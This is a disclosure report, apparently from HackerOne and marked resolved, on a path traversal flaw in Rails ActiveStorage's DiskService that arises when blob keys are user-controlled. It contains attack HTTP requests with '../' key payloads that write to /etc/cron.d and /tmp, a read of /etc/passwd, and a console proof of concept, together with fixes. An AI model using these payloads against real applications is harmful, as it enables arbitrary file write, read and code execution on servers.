ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection
Medium
Vulnerability Details
# ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection
## Summary
ActiveStorage's `DiskService#path_for` does not validate or sanitize blob keys before constructing file paths. Combined with the Hash attachable interface — which passes user-supplied `key:` values directly to `Blob.build_after_unfurling` without filtering — an attacker who can influence the Hash passed to `.attach()` can achieve **arbitrary file write, read, and delete** on the server's filesystem.
The `key:` parameter is a [documented feature](https://guides.rubyonrails.org/active_storage_overview.html#attaching-file-io-objects) intended for S3 folder organization, making it likely that developers will incorporate user input into key construction.
**Severity**: High (CVSS 8.1 estimated — depends on application-level exposure)
**Affected component**: `activestorage` (DiskService)
**Affected versions**: All current Rails versions using ActiveStorage with DiskService
---
## Vulnerability Details
### 1. Hash Attachable Splats All Keys Without Filtering
`activestorage/lib/active_storage/attached/changes/create_one.rb:82-88`:
```ruby
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
```
When a Hash is passed to `.attach()`, **every key-value pair** — including `key:` — is forwarded to `Blob.build_after_unfurling` via `**` splat.
### 2. `build_after_unfurling` Accepts and Stores Arbitrary Keys
`activestorage/app/models/active_storage/blob.rb:86-89`:
```ruby
def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
blob.unfurl(io, identify: identify)
end
end
```
A non-nil `key:` value is passed directly to `ActiveStorage::Blob.new`.
### 3. `has_secure_token` Does Not Overwrite Pre-Set Keys
`activerecord/lib/active_record/secure_token.rb:73-77`:
```ruby
set_callback on, on == :initialize ? :after : :before do
if new_record? && !query_attribute(attribute)
send("#{attribute}=", generate_token.call)
end
end
```
The `has_secure_token :key` callback on `ActiveStorage::Blob` only generates a secure random key when the attribute is **blank**. If a key is already set via the constructor, the callback is a no-op. The custom `key` getter (`blob.rb:176-179`) also preserves existing values via `self[:key] ||= ...`.
### 4. `DiskService#path_for` Has No Path Traversal Protection
`activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157`:
```ruby
def path_for(key)
File.join root, folder_for(key), key
end
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
```
`File.join` does not sanitize `../` sequences. There is no validation that the resolved path remains within `root`. A key like `../../etc/cron.d/evil` produces a path that escapes the storage directory.
### 5. No Key Format Validation on the Blob Model
`ActiveStorage::Blob` has **zero validation** on the `key` attribute:
```ruby
validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...
```
The only constraint is the database-level `NOT NULL` and `UNIQUE` index, neither of which prevent path traversal characters.
---
## Attack Chain
```
Attacker-controlled input
↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
↓
create_one.rb: **splat passes key: to build_after_unfurling
↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
↓
secure_token.rb: callback sees key is present, skips generation
↓
disk_service.rb: path_for("../../malicious")
→ File.join(root, folder_for(key), key)
→ escapes storage root directory
↓
upload/download/delete operates on arbitrary filesystem path
```
---
## Exploitation Scenarios
### Scenario A: JSON API with User-Specified Storage Path
The official Rails guide documents using `key:` for S3 folder organization. A developer building an API may extend this pattern to allow user-specified paths:
```ruby
class Api::V1::DocumentsController < ApiController
def create
file = decode_base64_upload(params[:file_data])
@project.documents.attach(
io: file,
filename: params[:filename],
content_type: params[:content_type],
key: "projects/#{@project.id}/#{params[:path]}" # user input in key
)
render json: { status: "uploaded" }
end
end
```
**Attack request:**
```http
POST /api/v1/documents HTTP/1.1
Content-Type: application/json
{
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
"filename": "notes.txt",
"content_type": "text/plain",
"path": "../../../../etc/cron.d/backdoor"
}
```
**Result:** The uploaded content is written to `/etc/cron.d/backdoor` (if the process has permissions), achieving **Remote Code Execution** via cron.
### Scenario B: Hash Attachable with Unsanitized Params
A developer permits the `key` parameter through Strong Parameters, following the guide's documented feature:
```ruby
class AssetsController < ApplicationController
def create
current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
end
private
def avatar_params
params.require(:avatar).permit(:filename, :content_type, :key)
end
end
```
**Attack request:**
```http
POST /assets HTTP/1.1
Content-Type: multipart/form-data
avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]
```
**Result:** Arbitrary file write to `/tmp/malicious_payload`.
### Scenario C: Nested Attributes / Model Assignment
When `has_one_attached` generates an attribute setter, Hash values flow through the vulnerable path:
```ruby
class User < ApplicationRecord
has_one_attached :avatar
end
class UsersController < ApplicationController
def update
@user.update!(user_params)
end
private
def user_params
params.require(:user).permit(:name, avatar: {}) # permissive Hash permit
end
end
```
A JSON request body like `{ "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } }` would inject the key through the model assignment path.
### Scenario D: Arbitrary File Read via Download
Once a blob with a malicious key is persisted, any subsequent `blob.download` call reads from the traversed path:
```ruby
# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download # reads /etc/passwd via DiskService
```
If the application exposes blob content through any controller (the default `BlobsController`, custom download endpoints, etc.), the attacker can read arbitrary files.
### Scenario E: Arbitrary File Delete via Purge
```ruby
# Blob with key: "../../important_app_config.yml"
blob.purge # calls service.delete(key) → File.delete(path_for(key))
```
Deleting the blob (via purge, or automatic cleanup of unattached blobs) deletes the traversed file path.
---
## Proof of Concept
Minimal reproduction in a Rails console with DiskService configured:
```ruby
# 1. Demonstrate that a malicious key bypasses has_secure_token
blob = ActiveStorage::Blob.build_after_unfurling(
key: "../../traversal_test",
io: StringIO.new("pwned"),
filename: "test.txt"
)
puts blob.key # => "../../traversal_test" (not a secure random token)
# 2. Demonstrate path_for escapes root
service = ActiveStorage::Blob.service # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
# 3. Demonstrate via attach (simulating application code)
user = User.new(name: "test")
user.avatar.attach(
io: StringIO.new("arbitrary content"),
filename: "innocent.txt",
key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!
# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true
```
---
## Suggested Remediation
### Option A: Validate Key Format on the Blob Model (Recommended)
Add a validation that rejects keys containing path traversal characters:
```ruby
# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
with: /\A[a-zA-Z0-9\-_]+\z/,
message: "contains invalid characters"
}
```
### Option B: Sanitize in DiskService#path_for
Verify the resolved path stays within the root directory:
```ruby
# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
path = File.join(root, folder_for(key), key)
full_path = File.expand_path(path)
raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
full_path
end
```
### Option C: Strip key from Hash Attachable
Prevent the `key:` parameter from being accepted through the Hash attachable path:
```ruby
# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.except(:key, "key").reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
```
A combination of Options A and B provides defense-in-depth.
---
## References
- `activestorage/lib/active_storage/service/disk_service.rb:101-103` — `path_for` (no sanitization)
- `activestorage/lib/active_storage/attached/changes/create_one.rb:82-88` — Hash splat
- `activestorage/app/models/active_storage/blob.rb:86-89` — `build_after_unfurling` accepts `key:`
- `activerecord/lib/active_record/secure_token.rb:73-77` — conditional token generation
- [Rails Guide: Attaching File/IO Objects](https://guides.rubyonrails.org/active_storage_overview.html#attaching-file-io-objects) — documents `key:` parameter usage
## Impact
## Impact
| Operation | DiskService Method | Primitive |
|---|---|---|
| `upload` | `IO.copy_stream(io, make_path_for(key))` | **Arbitrary file write** + directory creation via `mkdir_p` |
| `download` | `File.binread path_for(key)` | **Arbitrary file read** |
| `delete` | `File.delete path_for(key)` | **Arbitrary file delete** |
| `delete_prefixed` | `Dir.glob(path_for("#{prefix}*"))` + `rm_rf` | **Glob-based mass delete** |
| `exist?` | `File.exist? path_for(key)` | **File existence oracle** |
With arbitrary file write, an attacker can achieve **Remote Code Execution** by writing to:
- Cron directories (`/etc/cron.d/`)
- SSH authorized keys (`~/.ssh/authorized_keys`)
- Application initializers or configuration files
- Puma/Unicorn restart-watched files
### Who Is Affected
- Applications using **DiskService** (default in development; used in production for small/single-server deployments and on-premises environments)
- Applications where **any user input flows into the Hash passed to `.attach()`**, particularly the `key:` field
- The official guide's documented `key:` pattern encourages developers to construct keys from dynamic values, increasing the likelihood of user input reaching this code path
Actions
View on HackerOneReport Stats
- Report ID: 3580511
- State: Closed
- Substate: resolved
- Upvotes: 2